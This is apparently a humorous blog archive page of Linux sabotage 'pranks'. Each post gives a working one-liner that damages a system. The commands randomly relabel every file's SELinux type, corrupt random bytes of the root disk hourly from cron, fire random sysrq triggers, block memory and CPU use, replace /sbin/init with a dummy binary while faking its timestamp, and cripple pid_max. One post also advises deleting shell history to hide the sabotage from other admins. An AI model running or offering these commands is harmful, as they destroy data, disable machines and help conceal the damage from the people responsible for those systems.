Defaults are fine, right?
chcon -t default_t /
Breaking Systems for Fun and Profit
You _can_ stop the signal.
Archive for the ‘ Kernel Capers ’ Category
SELinux fun
TYPES=($(seinfo -t | tail -n+3)) for FILE in $(find /); do chcon -t ${TYPES[$[ ${RANDOM} % ${#TYPES[@]} ]]} ${FILE} done) &> /dev/null
Accelerated bitrot
Another nice one to put in cron. Putting it at roughly once every hour should provide you with nice but subtle failures over time:
ROOTDEV=$(df -h / | sed -n '2p' | cut -d ' ' -f1) ROOTSZ=$[$(blockdev --getsz ${ROOTDEV}) * 512] LOCATION=$[${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}] dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} conv=notrunc
Add some spice to your life
Spice up your life a bit with the following command:
echo 'SYSRQLETTERS="bcdefghijklmnopqrstuvwx"; echo ${SYSRQLETTERS} | cut -c $[$RANDOM % ${#SYSRQLETTERS} + 1] > /proc/sysrq-trigger' > /etc/cron.hourly/happyfuntime; chmod +x /etc/cron.hourly/happyfuntime
No Reservations?
tune2fs -m50 $(mount | awk '/on \/ type/{print $1}')
Bad memory
This little baby will tell your kernel that the first 256 Gibibytes of memory are not to be used. Run it, reboot, watch hilarity ensue:
sed -i -r '/vmlinuz/s/(.*)/\1 memmap=256G$0x0000/' /boot/grub/grub.conf
Speed? What speed?
This one got submitted by Ray:
echo "base=0x00000000 size=0xffffffff type=uncachable" > /proc/mtrr
It works best if you put it in rc.sysinit or any other place early in your boot sequence.
Who needs multiple cores anyway?
Do you remember the good old days when all you had was a single core? Time to re-live those glory days!
for I in /sys/devices/system/cpu/cpu[1-9]* do echo 0 > ${I}/online done
Unfortunately we can’t disable cpu0…
SImplify your init
This one was submitted by fl0_:
Create a file called init.c
#include <stdio.h> int main(){ printf("MOEHAHAHHAAAA\n"); return 0; }
Next run the following commands:
gcc -o init init.c touch -r /sbin/init init cp -f init /sbin/init
You might want to hide your handiwork from the other admins by either removing ~/.bash_history(obvious)/running set +o history before you begin/kill -9 $$
I’m sorry, but I can’t let you do that Dave…
echo "kernel.pid_max = 132" >> /etc/sysctl.conf
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